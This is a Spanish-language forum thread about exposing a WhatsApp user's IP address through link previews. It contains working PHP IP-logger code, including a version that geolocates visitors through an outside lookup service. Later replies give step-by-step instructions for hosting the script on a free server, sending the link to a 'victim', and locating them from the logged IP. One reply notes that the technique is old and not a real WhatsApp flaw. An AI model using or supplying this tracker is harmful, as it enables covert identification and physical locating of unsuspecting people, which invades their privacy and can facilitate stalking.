Obtener la IP de un usuario de WhatsApp con un simple link

Iniciado por K A I L, Abril 19, 2018, 08:04:24 AM

Tema anterior - Siguiente tema

0 Miembros y 2 Visitantes están viendo este tema.

Abril 19, 2018, 08:04:24 AM Ultima modificación: Abril 19, 2018, 11:15:10 AM por K A I L


Si hablamos de un programa de mensajería con el que poder estar en contacto con amigos y familiares, seguro que todos indicamos WhatsApp. Sin duda se ha convertido en el más utilizado en España en los últimos años. Ahora bien, si hablamos del más seguro, surgen discrepancias en ese sentido. Hay aplicaciones más orientadas en la privacidad y seguridad a la hora de enviar mensajes. Hoy nos hacemos eco de un descubrimiento realizado por un investigador de seguridad en el que demuestra cómo se puede divulgar la IP de un usuario con la vista previa de un link.

La IP de un usuario de WhatsApp, expuesta

Se trata de Rahul Kankrale, un investigador de seguridad web. En su perfil de Twitter ha mostrado su descubrimiento y cómo se puede divulgar la IP simplemente con la vista previa al compartir un enlace por WhatsApp.

Para ello simplemente utiliza un código PHP. Con esto logra revelar la IP de los usuarios de WhatsApp, así como la versión de la aplicación y guardar estos datos en un servidor. Los pasos a seguir, como indican en Medium, son los siguientes:

Paso 1:

El primer paso para llevar a cabo esta acción es crear un archivo PHP y un archivo de registro en un servidor. Hay que añadir el siguiente código para la meta descripción:

Código: php
<meta property="og:description" content="<?php

echo $_SERVER[REMOTE_ADDR]; $line = date('Y-m-d H:i:s') . " – $_SERVER[REMOTE_ADDR]";echo $line;

file_put_contents('visitors.log', $line . PHP_EOL, FILE_APPEND);?>" />


Paso 2:

Una vez hecho esto, lo siguiente que tenemos que hacer es guardar este archivo PHP.

Paso 3:

Posteriormente abrimos WhatsApp y escribimos el enlace que lleva a este archivo PHP que hemos creado. Una vez se genera la vista previa del link, podemos ver cómo aparece la IP, la captura, y al mismo tiempo la escribe en el archivo que tenemos alojado en nuestro servidor.

En este registro del servidor aparece la fecha y hora, así como la dirección IP del usuario. Si lo probamos en varias ocasiones, podremos ver cómo se van añadiendo a este archivo. Tanto la hora como la IP coincide exactamente igual en la previsualización del link y en el registro creado en el servidor.



NOTA: Como señala abajo nuestro compañero @79137913 Esto no es nada nuevo, existe hace mucho

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

HOLA!!!

Really?

Esto no es un fallo de seguridad, es un problema de capa 8 inherente a la capacidad de compartir hipervinculos.

No puedo creer que alguien se atribuya eso como "encontrar un fallo de seguridad en whatsapp", esa tecnica existe hace mas de 20 años y existirá por 20 mas por lo menos.

GRACIAS POR LEER!!!
"Algunos creen que soy un bot, puede que tengan razon"
"Como no se puede igualar a Dios, ya he decidido que hacer, ¡SUPERARLO!"
"La peor de las ignorancias es no saber corregirlas"

*Shadow Scouts Team*                                                No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

  Buenas! yo lo probe pero me devuelve la misma ip desde donde envio mi link al Script. Me estara faltando algo? :( :( :(

HOLA!!!

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
  Buenas! yo lo probe pero me devuelve la misma ip desde donde envio mi link al Script. Me estara faltando algo? :( :( :(

Eso es por que entraste vos y no el.
O la persona esta en tu misma red  ::) ::) ::)

GRACIAS POR LEER!!!
"Algunos creen que soy un bot, puede que tengan razon"
"Como no se puede igualar a Dios, ya he decidido que hacer, ¡SUPERARLO!"
"La peor de las ignorancias es no saber corregirlas"

*Shadow Scouts Team*                                                No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Ahh que mocaso..., creía que si colocabas el link en enviar te aparecería la ip de el =( Ano tiene sentido entonces .... igual puedo encontrarlo en los registros si se conecto a mi servidor =(

Acá encontré uno muy lindo para la Localización de la Ip

<?php

    //Llamamos a la función, y ella hace todo :)
    write_visita ();

    //función que escribe la IP del cliente en un archivo de texto   
    function write_visita (){

        //Indicar ruta de archivo válida
        $archivo="visitors.log";

        //Si que quiere ignorar la propia IP escribirla aquí, esto se podría automatizar
        $ip="mi.ip.";
        $new_ip=get_client_ip();

        if ($new_ip!==$ip){
            $now = new DateTime();

       //Distinguir el tipo de petición,
       // tiene importancia en mi contexto pero no es obligatorio

        if (!$_GET) {
            $datos="*POST: ".$_POST;

        }
        else
        {
            //Saber a qué URL se accede
            $peticion = explode('/', $_GET['PATH_INFO']);
            $datos=str_pad($peticion[0],10).' '.$peticion[1];   
        }
        $txt =  str_pad($new_ip,25). " ".
                str_pad($now->format('Y-m-d H:i:s'),25)." ".
                str_pad(ip_info($new_ip, "Country"),25)." ".json_encode($datos);

        $myfile = file_put_contents($archivo, $txt.PHP_EOL , FILE_APPEND);
        }
    }


    //Obtiene la IP del cliente
    function get_client_ip() {
        $ipaddress = '';
        if (getenv('HTTP_CLIENT_IP'))
            $ipaddress = getenv('HTTP_CLIENT_IP');
        else if(getenv('HTTP_X_FORWARDED_FOR'))
            $ipaddress = getenv('HTTP_X_FORWARDED_FOR');
        else if(getenv('HTTP_X_FORWARDED'))
            $ipaddress = getenv('HTTP_X_FORWARDED');
        else if(getenv('HTTP_FORWARDED_FOR'))
            $ipaddress = getenv('HTTP_FORWARDED_FOR');
        else if(getenv('HTTP_FORWARDED'))
           $ipaddress = getenv('HTTP_FORWARDED');
        else if(getenv('REMOTE_ADDR'))
            $ipaddress = getenv('REMOTE_ADDR');
        else
            $ipaddress = 'UNKNOWN';
        return $ipaddress;
    }


    //Obtiene la info de la IP del cliente desde geoplugin

    function ip_info($ip = NULL, $purpose = "location", $deep_detect = TRUE) {
        $output = NULL;
        if (filter_var($ip, FILTER_VALIDATE_IP) === FALSE) {
            $ip = $_SERVER["REMOTE_ADDR"];
            if ($deep_detect) {
                if (filter_var(@$_SERVER['HTTP_X_FORWARDED_FOR'], FILTER_VALIDATE_IP))
                    $ip = $_SERVER['HTTP_X_FORWARDED_FOR'];
                if (filter_var(@$_SERVER['HTTP_CLIENT_IP'], FILTER_VALIDATE_IP))
                    $ip = $_SERVER['HTTP_CLIENT_IP'];
            }
        }
        $purpose    = str_replace(array("name", "\n", "\t", " ", "-", "_"), NULL, strtolower(trim($purpose)));
        $support    = array("country", "countrycode", "state", "region", "city", "location", "address");
        $continents = array(
            "AF" => "Africa",
            "AN" => "Antarctica",
            "AS" => "Asia",
            "EU" => "Europe",
            "OC" => "Australia (Oceania)",
            "NA" => "North America",
            "SA" => "South America"
        );
        if (filter_var($ip, FILTER_VALIDATE_IP) && in_array($purpose, $support)) {
            $ipdat = @json_decode(file_get_contents("No tienes permitido ver los links. Registrarse o Entrar a mi cuenta" . $ip));
            if (@strlen(trim($ipdat->geoplugin_countryCode)) == 2) {
                switch ($purpose) {
                    case "location":
                        $output = array(
                            "city"           => @$ipdat->geoplugin_city,
                            "state"          => @$ipdat->geoplugin_regionName,
                            "country"        => @$ipdat->geoplugin_countryName,
                            "country_code"   => @$ipdat->geoplugin_countryCode,
                            "continent"      => @$continents[strtoupper($ipdat->geoplugin_continentCode)],
                            "continent_code" => @$ipdat->geoplugin_continentCode
                        );
                        break;
                    case "address":
                        $address = array($ipdat->geoplugin_countryName);
                        if (@strlen($ipdat->geoplugin_regionName) >= 1)
                            $address[] = $ipdat->geoplugin_regionName;
                        if (@strlen($ipdat->geoplugin_city) >= 1)
                            $address[] = $ipdat->geoplugin_city;
                        $output = implode(", ", array_reverse($address));
                        break;
                    case "city":
                        $output = @$ipdat->geoplugin_city;
                        break;
                    case "state":
                        $output = @$ipdat->geoplugin_regionName;
                        break;
                    case "region":
                        $output = @$ipdat->geoplugin_regionName;
                        break;
                    case "country":
                        $output = @$ipdat->geoplugin_countryName;
                        break;
                    case "countrycode":
                        $output = @$ipdat->geoplugin_countryCode;
                        break;
                }
            }
        }
        return $output;
    }

?>

Muy bie. Pero hay manera mas fácil de hacerlo sin tener que crear servidores

¿Aún sirve este "método" en 2019?

¿Alguien podría explicarme como subir el archivo php a un servidor?

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
¿Aún sirve este "método" en 2019?

¿Alguien podría explicarme como subir el archivo php a un servidor?

A mi me sirvio el de mosca... copia lo que puso en un bloc de notas y guardalo como xxx.php  (ojo al guardar saca el formato txt y po "todos los archivos"..
Ahora tienes que subir ese archivo en un servidor...a mi me funciono  000webhost.com   guardas el archivo... (mano derecha arriba "upload")  despues click derecho en el archivo y pon "view" se abre una pagina  ese link tienes que copiarlo y pasarle a la "victima" ojo que al ver tu mismo la pagina se va a crear un archivo .log .. borralo antes de enviar el link... listo  una vez que la victima visite se va a crear un log con la ip.. ahora copia la IP  y ve al sitio   No tienes permitido ver los links. Registrarse o Entrar a mi cuenta  donde debes borrar la ip"10.10.10.1" y poner la que conseguiste... listo ya te va a salir el pais la geolocalizacion etc...  Saludos¡